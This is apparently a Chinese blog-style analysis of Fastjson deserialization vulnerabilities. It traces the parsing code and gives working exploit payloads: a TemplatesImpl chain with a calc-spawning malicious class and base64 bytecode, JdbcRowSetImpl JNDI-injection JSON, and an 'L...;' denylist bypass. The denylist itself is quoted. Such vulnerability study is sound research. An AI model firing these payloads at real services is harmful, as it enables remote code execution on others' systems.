FastJSON反序列化漏洞解析

一、fastjson简介

fastjson组件是阿里巴巴开发的反序列化与序列化组件,项目地址:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN

简单使用方法如下:

1
2
3
4
5
6
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

maven地址:https://mvnrepository.com/artifact/com.alibaba/fastjson

1.简单的序列化与反序列化

编写一个User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package fastjson;

public class User {
private String name;
private int age;

public User() {
System.out.println("调用空参构造");
}

public User(String name, int age) {
System.out.println("调用形参构造");
this.name = name;
this.age = age;
}

public String getName() {
System.out.println("调用getName()");
return name;
}

public void setName(String name) {
System.out.println("调用setName()");
this.name = name;
}

public int getAge() {
System.out.println("调用getAge()");
return age;
}

public void setAge(int age) {
System.out.println("调用setAge()");
this.age = age;
}

@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

使用fastjson组件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
User user = new User("zhangsan",12);

//序列号
String serializedStr = JSON.toJSONString(user);
System.out.println(serializedStr);

//通过parse方法进行反序列化,返回的是一个JSONObject
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
System.out.println("parse反序列化:"+obj1);

//通过parseObject,不指定类,返回的是一个JSONObject
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
System.out.println("parseObject反序列化:"+obj2);

//通过parseObject,指定类后返回的是一个相应的类对象
Object obj3 = JSON.parseObject(serializedStr,User.class);
System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
System.out.println("parseObject反序列化:"+obj3);

输出结果如下:

image-20220128114618360

返回结果可知:parseObject(“”,class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法

2.@type

JSON.toJSONString存在3个重载方法,使用toJSONString(Object object, SerializerFeature... features)方法

image-20220128150238092

1
2
3
User user = new User("zhangsan",12);
String serializedStr1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(serializedStr1);

输出如下:

1
2
3
4
调用形参构造
调用getAge()
调用getName()
{"@type":"fastjson.User","age":12,"name":"zhangsan"}

发现输出中存在”@type”:”fastjson.User”,对其反序列化

1
2
3
4
5
6
7
8
9
10
User user = new User("zhangsan",12);

//序列化
String serializedStr = JSON.toJSONString(user);
System.out.println(serializedStr);
String serializedStr1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(serializedStr1);

System.out.println(JSON.parse(serializedStr).getClass().toString());
System.out.println(JSON.parse(serializedStr1).getClass().toString());

输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
调用形参构造
调用getAge()
调用getName()
{"age":12,"name":"zhangsan"}
调用getAge()
调用getName()
{"@type":"fastjson.User","age":12,"name":"zhangsan"}
class com.alibaba.fastjson.JSONObject
调用空参构造
调用setAge()
调用setName()
class fastjson.User

由此可知以下结论:

  • com.alibaba.fastjson.JSONObject不能强制转换为其他类型

  • 不指定@type不会调用构造方法setter

  • 指定@type时,parse只会调用构造方法和特定setter,而parseObject会额外调用getter

  • 跟进parseObject()可以看到和parse的区别:

    public static JSONObject parseObject(String text) {
    Object obj = parse(text);
    return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

编写测试类Persion

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package fastjson;

import java.util.Properties;

public class Person {
//属性
public String name;
private String full_name;
private int age;
private Boolean sex;
private Properties prop;
//构造函数
public Person(){
System.out.println("Person构造函数");
}
//set
public void setAge(int age){
System.out.println("setAge()");
this.age = age;
}
//get 返回Boolean
public Boolean getSex(){
System.out.println("getSex()");
return this.sex;
}
//get 返回ProPerties
public Properties getProp(){
System.out.println("getProp()");
return this.prop;
}
//在输出时会自动调用的对象ToString函数
public String toString() {
String s = "[Person Object] name=" + this.name + " full_name=" + this.full_name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
return s;
}
}

测试序列化及反序列化:

1
2
3
4
5
String eneity3 = "{\"@type\":\"com.fastjson.Person\", \"name\":\"zhang\", \"full_name\":\"zhangsan\", \"age\": 18, \"prop\": {\"123\":123}, \"sex\": 1}";
//反序列化
Object obj = JSON.parseObject(eneity3,Person.class);
//输出会调用obj对象的tooString函数
System.out.println(obj);

输出如下:

1
2
3
4
Person构造函数
setAge()
getProp()
[Person Object] name=zhang full_name=null, age=18, prop=null, sex=null
public name 反序列化成功,private full_name 反序列化失败,private age setAge函数被调用,private sex getsex函数没有被调用,private prop getprop函数被成功调用

从中得知

  • public修饰符的属性会进行反序列化赋值,private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。
  • getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用

3.parse过程调试

调用过程如下:

image-20220117102346305

image-20220905160303063

调用JSON#parse()方法,后调用new DefaultJSONParser();

image-20220905160450268

new DefaultJSONParser()中调用ParserConfig.getGlobalInstance(),传入配置,配置中包含黑名单java.lang.Thread

image-20220906111415947

调用至DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config)

image-20220905160710420

this调用至构造方法,lexer.getCurrent()获取了lexer的ch属性,此处为获取JSON字符串的第一个字符,即{

image-20220905162236365

进入DeafultJSONParser.java通过switch判断,进入到LBRACE中,此处new JSONObject对象

image-20220210104604897

调用至JSONObject#JSONObject(int initialCapacity, boolean ordered)构造方法

image-20220905173804775

调用至DeafultJSONParser#parseObject(final Map object, Object fieldName)方法,此处fieldName为null,此时尚未开始解析JSON字符串

image-20220905164102745

判断下一个字符是否为 “ ,后取出”“中键名,即@type,然后判断接下来字符是否符合规则

image-20220905174430009

调用TypeUtils.loadClass(typeName, config.getDefaultClassLoader())方法获取类对象

image-20220905164830719

从map中取classNmae,map中缓存一些常用基本类,然后可以看到className.startsWith(“L”),会对L进行去除,重新loadClass,可利用此次对ClassName添加L绕过黑名单

image-20220906103214944

利用类加载器加载类,然后将对类缓存到maping对象中

image-20220905164854929

运行至ObjectDeserializer deserializer = config.getDeserializer(clazz);

image-20220906153358338

进入ParserConfig#getDeserializer(Type type)方法后进行大量判断,下图为判断黑名单,最后进入到derializer = createJavaBeanDeserializer(clazz, type);

image-20220906155157758

image-20220906153844118

经过调用createJavaBeanDeserializer()设置deserializer属性,属性如下:

image-20220906160642016

image-20220906160751848

最后调用DeafultJSONParser#parseObject()中deserializer.deserialze(this, clazz, fieldName),进入反序列化操作

image-20220905171235790

调用至JavaBeanDeserializer#protected T deserialze()方法,后调用至getSeeAlso()

image-20220906162146410

调用至JavaBeanDeserializer()后调用至JavaBeanInfo#build()方法

image-20220906162541552

在进入build函数后会遍历一遍传入class的所有方法,去寻找满足set开头的特定类型方法;再遍历一遍所有方法去寻找get开头的特定类型的方法

image-20220906163301544

set开头的方法要求如下:

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个

寻找到符合要求的set开头的方法后会根据一定规则提取方法名后的变量名。再去跟这个类的属性去比对有没有这个名称的属性。

如果没有这个属性并且这个set方法的输入是一个布尔型,会重新给属性名前面加上is,再取头两个字符,第一个字符为大写(即isNa),去寻找这个属性名。

get开头的方法要求如下:

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

二、漏洞利用

1 Fastjson <=1.2.24

1>.TemplatesImpl利用链

利用条件:
  1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
    JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
  2. 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField);

这是因为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl需要赋值的一些属性为private属性,服务端必须添加特性才回去从json中恢复private属性的数据。故此利用链利用条件苛刻,并不常见。

image-20220209171617414

利用链分析:

debug调试,JSONObject obj = JSON.parseObject(payload1, Feature.SupportNonPublicField)处下断点;此漏洞利用方法必须要存在Feature.SupportNonPublicField设置(即允许private对象传入)

image-20220210094825242

进入JSON类中,发现JSON.parseObject()调用了JSON.parse()

image-20220210095210483

进入到JSON类#parse(String text, Feature… features)方法中,对可控长度变量的分析,这里也就是Feature.SupportNonPublicField的开启识别

image-20220210095334436

调用JSON#parse(String text, int features),继续执行parser.parse()接口

image-20220210095627159

进入DeafultJSONParser.java通过switch判断,进入到LBRACE中

image-20220210104604897

调用deserializer.deserialze(this, clazz, fieldName)

image-20220210105038883

进入ParserConfig.java 进行设置

image-20220210105217734

进入JavaBeanDeserializer#deserialze(DefaultJSONParser parser, Type type, Object fieldName) ,进行反序列化操作

image-20220210105514778

设置参数是会调用FieldDeserializer.java中的setValue,已经可以看到Method方法,标志着这里触发反射

image-20220210111123619

前面的参数会不满足if(method != null)的判断,到outputProperties的时候,因为它是个类,存在method,于是进入if分支,调用方法为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

image-20220210111822121

在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()方法下断点,调用newTransformer()

image-20220210113532817

跟进调用getTransletInstance()

image-20220210113623886

跟进调用defineTransletClasses()s

image-20220210113839439

最后初始化类,触发代码执行

PAYLOAD

创建恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Shell extends AbstractTranslet{


public Shell() {

try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}

工具类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static String FiletoBase64(String filename) throws IOException {

File file = new File(filename);
FileInputStream io = new FileInputStream(file);
ByteArrayOutputStream os = new ByteArrayOutputStream();
byte[] buf = new byte[10240];
int len;
while ((len = io.read(buf)) > 0) {
os.write(buf, 0, len);
}
io.close();

String s = Base64.getEncoder().encodeToString(os.toByteArray());
return s;

}

payload

1
2
3
4
5
6
7
8
9
String shell = ClassBase64Util.FiletoBase64("E:\\JAVA-PAYLOAD\\mydemo\\target\\classes\\fastjson\\Shell.class");

String payload1 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+shell+"\"],\"_name\":\"a.b\",\"_tfactory\":{ },\"_outputProperties\":{ },\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";

//System.out.println(payload1);
//{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAQTGZhc3Rqc29uL1NoZWxsOwEADVN0YWNrTWFwVGFibGUHACsHACkBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAClNoZWxsLmphdmEMAAkACgcALgwALwAwAQAIY2FsYy5leGUMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEADmZhc3Rqc29uL1NoZWxsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAfAACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAwAMAAAAGgAGAAAADgAEABEADQAUABAAEgARABMAFQAVAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAASAAAAEAAC/wAQAAEHABMAAQcAFAQAAQAVABYAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABoADQAAACAAAwAAAAEAEAARAAAAAAABABcAGAABAAAAAQAZABoAAgAbAAAABAABABwAAQAVAB0AAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAAB8ADQAAACoABAAAAAEAEAARAAAAAAABABcAGAABAAAAAQAeAB8AAgAAAAEAIAAhAAMAGwAAAAQAAQAcAAEAIgAAAAIAIw=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

JSONObject obj = JSON.parseObject(payload1, Feature.SupportNonPublicField);
System.out.println(obj);

2>.JdbcRowSetImpl利用链

利用条件:

JdbcRowSetImpl利用链为利用JNDI注入,利用条件为不用JAVA版本下RMI、LDAP限制条件,高版本使用高版本绕过技术

利用链分析:

JdbcRowSetImpl#setAutoCommit()方法如下:

image-20220907103135441

Fastjson会自动调用setAutoCommit()方法,conn默认为空,进入else执行this.conn = this.connect();方法如下:

image-20220907103515820

conn默认为空,若this.getDataSourceName() != null则进入else if,调用至lookup(this.getDataSourceName()

故此处存在JNDI注入,payload为:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1099/badClassName", "autoCommit":true}

image-20220907112138942

PAYLOAD
1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1099/badClassName", "autoCommit":true}

2 1.2.25 <= Fastjson <= 1.2.41

PAYLOAD1

利用条件:

开启autoTypeSupport,影响版本1.2.25 <= Fastjson <= 1.2.41

利用链分析:

FastJSON1.2.24

1
2
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());

FastJSON1.2.25

1
2
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = this.config.checkAutoType(ref, (Class)null);

获取类对象的方法由 TypeUtils.loadClass 变成了this.config.checkAutoType

Fastjson1.2.25中com.alibaba.fastjson.parser.ParserConfig类进行了修改修改,添加属性

1
2
3
private boolean autoTypeSupport; //控制是否可进行反序列化,默认为false
private String[] denyList; //黑名单
private String[] acceptList; //白名单

image-20220908100501152

构造方法中对黑白名单进行赋值

image-20220908102206222

com.alibaba.fastjson.parser.DefaultJSONParser中parseObject()方法中调用ParserConfig#checkAutoType()

image-20220908102648098

checkAutoType()中对autoTypeSupport进行判断,若为true则先进行白名单校验,若为白名单内则进入TypeUtils.loadClass,后再进行黑名单校验,若在黑名单中则抛出异常,若未在黑名单中则在Map中查找类

image-20220908100111279

若autoTypeSupport为false,则进行黑名单判断,再进行白名单判断,最后若autoTypeSupport=true,会再一次进行判断然后进入到TypeUtils.loadClass中

image-20220908094528661

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

com.alibaba.fastjson.util.TypeUtils#loadClass()中对[ L ;进行了处理,而其中在处理L ;的时候存在了逻辑漏洞,可以在className的前后分别加上L ;来进行绕过

image-20220908111904169

PAYLOAD
1
2
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  //开启autoTypeSupport
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc", "autoCommit":true}

PAYLOAD2

利用条件:

1.2.25 <= Fastjson <= 1.2.32 未开启autoTypeSupport

1.2.33 <= Fastjson <= 1.2.32 autoTypeSupport开启或未开启均可利用

利用链分析:

ParserConfig#checkAutoType()方法中若autoTypeSupport为false,则会运行到Class<?> clazz = TypeUtils.getClassFromMapping(typeName);若clazz为空则会运行clazz = this.deserializers.findClass(typeName);其中deserializers当类初始化时会添加数据,若目标类在ParserConfig类初始化添加类map中,则checkAutoType()方法可return目标类:具体如下

image-20220908155129860

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
private ParserConfig(ASMDeserializerFactory asmFactory, ClassLoader parentClassLoader) {
this.deserializers = new IdentityHashMap();
this.asmEnable = !ASMUtils.IS_ANDROID;
this.symbolTable = new SymbolTable(4096);
this.autoTypeSupport = AUTO_SUPPORT;
this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
this.acceptList = AUTO_TYPE_ACCEPT_LIST;
if (asmFactory == null && !ASMUtils.IS_ANDROID) {
try {
if (parentClassLoader == null) {
asmFactory = new ASMDeserializerFactory(new ASMClassLoader());
} else {
asmFactory = new ASMDeserializerFactory(parentClassLoader);
}
} catch (ExceptionInInitializerError var4) {
} catch (AccessControlException var5) {
} catch (NoClassDefFoundError var6) {
}
}

this.asmFactory = asmFactory;
if (asmFactory == null) {
this.asmEnable = false;
}

//deserializerst添加类
this.deserializers.put(SimpleDateFormat.class, MiscCodec.instance);
this.deserializers.put(Timestamp.class, SqlDateDeserializer.instance_timestamp);
this.deserializers.put(Date.class, SqlDateDeserializer.instance);
this.deserializers.put(Time.class, TimeDeserializer.instance);
this.deserializers.put(java.util.Date.class, DateCodec.instance);
this.deserializers.put(Calendar.class, CalendarCodec.instance);
this.deserializers.put(XMLGregorianCalendar.class, CalendarCodec.instance);
this.deserializers.put(JSONObject.class, MapDeserializer.instance);
this.deserializers.put(JSONArray.class, CollectionCodec.instance);
this.deserializers.put(Map.class, MapDeserializer.instance);
this.deserializers.put(HashMap.class, MapDeserializer.instance);
this.deserializers.put(LinkedHashMap.class, MapDeserializer.instance);
this.deserializers.put(TreeMap.class, MapDeserializer.instance);
this.deserializers.put(ConcurrentMap.class, MapDeserializer.instance);
this.deserializers.put(ConcurrentHashMap.class, MapDeserializer.instance);
this.deserializers.put(Collection.class, CollectionCodec.instance);
this.deserializers.put(List.class, CollectionCodec.instance);
this.deserializers.put(ArrayList.class, CollectionCodec.instance);
this.deserializers.put(Object.class, JavaObjectDeserializer.instance);
this.deserializers.put(String.class, StringCodec.instance);
this.deserializers.put(StringBuffer.class, StringCodec.instance);
this.deserializers.put(StringBuilder.class, StringCodec.instance);
this.deserializers.put(Character.TYPE, CharacterCodec.instance);
this.deserializers.put(Character.class, CharacterCodec.instance);
this.deserializers.put(Byte.TYPE, NumberDeserializer.instance);
this.deserializers.put(Byte.class, NumberDeserializer.instance);
this.deserializers.put(Short.TYPE, NumberDeserializer.instance);
this.deserializers.put(Short.class, NumberDeserializer.instance);
this.deserializers.put(Integer.TYPE, IntegerCodec.instance);
this.deserializers.put(Integer.class, IntegerCodec.instance);
this.deserializers.put(Long.TYPE, LongCodec.instance);
this.deserializers.put(Long.class, LongCodec.instance);
this.deserializers.put(BigInteger.class, BigIntegerCodec.instance);
this.deserializers.put(BigDecimal.class, BigDecimalCodec.instance);
this.deserializers.put(Float.TYPE, FloatCodec.instance);
this.deserializers.put(Float.class, FloatCodec.instance);
this.deserializers.put(Double.TYPE, NumberDeserializer.instance);
this.deserializers.put(Double.class, NumberDeserializer.instance);
this.deserializers.put(Boolean.TYPE, BooleanCodec.instance);
this.deserializers.put(Boolean.class, BooleanCodec.instance);
this.deserializers.put(Class.class, MiscCodec.instance);
this.deserializers.put(char[].class, new CharArrayCodec());
this.deserializers.put(AtomicBoolean.class, BooleanCodec.instance);
this.deserializers.put(AtomicInteger.class, IntegerCodec.instance);
this.deserializers.put(AtomicLong.class, LongCodec.instance);
this.deserializers.put(AtomicReference.class, ReferenceCodec.instance);
this.deserializers.put(WeakReference.class, ReferenceCodec.instance);
this.deserializers.put(SoftReference.class, ReferenceCodec.instance);
this.deserializers.put(UUID.class, MiscCodec.instance);
this.deserializers.put(TimeZone.class, MiscCodec.instance);
this.deserializers.put(Locale.class, MiscCodec.instance);
this.deserializers.put(Currency.class, MiscCodec.instance);
this.deserializers.put(InetAddress.class, MiscCodec.instance);
this.deserializers.put(Inet4Address.class, MiscCodec.instance);
this.deserializers.put(Inet6Address.class, MiscCodec.instance);
this.deserializers.put(InetSocketAddress.class, MiscCodec.instance);
this.deserializers.put(File.class, MiscCodec.instance);
this.deserializers.put(URI.class, MiscCodec.instance);
this.deserializers.put(URL.class, MiscCodec.instance);
this.deserializers.put(Pattern.class, MiscCodec.instance);
this.deserializers.put(Charset.class, MiscCodec.instance);
this.deserializers.put(JSONPath.class, MiscCodec.instance);
this.deserializers.put(Number.class, NumberDeserializer.instance);
this.deserializers.put(AtomicIntegerArray.class, AtomicCodec.instance);
this.deserializers.put(AtomicLongArray.class, AtomicCodec.instance);
this.deserializers.put(StackTraceElement.class, StackTraceElementDeserializer.instance);
this.deserializers.put(Serializable.class, JavaObjectDeserializer.instance);
this.deserializers.put(Cloneable.class, JavaObjectDeserializer.instance);
this.deserializers.put(Comparable.class, JavaObjectDeserializer.instance);
this.deserializers.put(Closeable.class, JavaObjectDeserializer.instance);
this.addItemsToDeny(DENYS);
this.addItemsToAccept(AUTO_TYPE_ACCEPT_LIST);
}

代码继续运行,运行到thisObj = deserializer.deserialze(this, clazz, fieldName);进入到MiscCodec#deserialze()方法

image-20220909104428239

MiscCodec#deserialze()方法,取出JSON串中var值,然后执行TypeUtils.loadClass(),具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;
String className;
if (clazz == InetSocketAddress.class) {//判断clazz 是否为InetSocketAddress.class
......
} else {
Object objVal;
if (parser.resolveStatus == 2) {
parser.resolveStatus = 0;
parser.accept(16);
if (lexer.token() != 4) {
throw new JSONException("syntax error");
}
//判断val值,若不为则抛出异常
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}

lexer.nextToken();
parser.accept(17);
objVal = parser.parse();
parser.accept(13);
} else {
objVal = parser.parse();
}

String strVal;
if (objVal == null) {
strVal = null;
} else {
if (!(objVal instanceof String)) {
if (objVal instanceof JSONObject && clazz == Map.Entry.class) {
JSONObject jsonObject = (JSONObject)objVal;
return jsonObject.entrySet().iterator().next();
}

throw new JSONException("expect string");
}

strVal = (String)objVal;
}

if (strVal != null && strVal.length() != 0) {
if (clazz == UUID.class) {
return UUID.fromString(strVal);
} else if (clazz == URI.class) {
return URI.create(strVal);
} else if (clazz == URL.class) {
try {
return new URL(strVal);
} catch (MalformedURLException var9) {
throw new JSONException("create url error", var9);
}
} else if (clazz == Pattern.class) {
return Pattern.compile(strVal);
} else if (clazz == Locale.class) {
String[] items = strVal.split("_");
if (items.length == 1) {
return new Locale(items[0]);
} else {
return items.length == 2 ? new Locale(items[0], items[1]) : new Locale(items[0], items[1], items[2]);
}
} else if (clazz == SimpleDateFormat.class) {
SimpleDateFormat dateFormat = new SimpleDateFormat(strVal, lexer.getLocale());
dateFormat.setTimeZone(lexer.getTimeZone());
return dateFormat;
} else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
if (clazz == File.class) {
return new File(strVal);
} else if (clazz == TimeZone.class) {
return TimeZone.getTimeZone(strVal);
} else {
if (clazz instanceof ParameterizedType) {
ParameterizedType parmeterizedType = (ParameterizedType)clazz;
clazz = parmeterizedType.getRawType();
}

if (clazz == Class.class) { //当clazz == Class.class,调用TypeUtils.loadClass(),此时strVal为val对应值
return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
} else if (clazz == Charset.class) {
return Charset.forName(strVal);
} else if (clazz == Currency.class) {
return Currency.getInstance(strVal);
} else if (clazz == JSONPath.class) {
return new JSONPath(strVal);
} else {
.........

进入到TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()),会对传过来的类名字符串在mappings找对应的缓存类对象,如果没有就加载对象,并添加到 mappings 缓存起来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);//从map中获取classname
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {//判断classname是否[开头
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {//判断classname是否L开头
String newClassName = className.substring(1, className.length() - 1);//去除classname中开头的L
return loadClass(newClassName, classLoader);//重新调用loadClass()
} else {
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);//加载类
mappings.put(className, clazz);//将类添加到map中
return clazz;
}
} catch (Throwable var6) {
var6.printStackTrace();
}

try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();//获取ClassLoader
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);//加载类
mappings.put(className, clazz);//将类添加到map中
return clazz;
}
} catch (Throwable var5) {
}

try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable var4) {
return clazz;
}
}
} else {
return null;
}
}

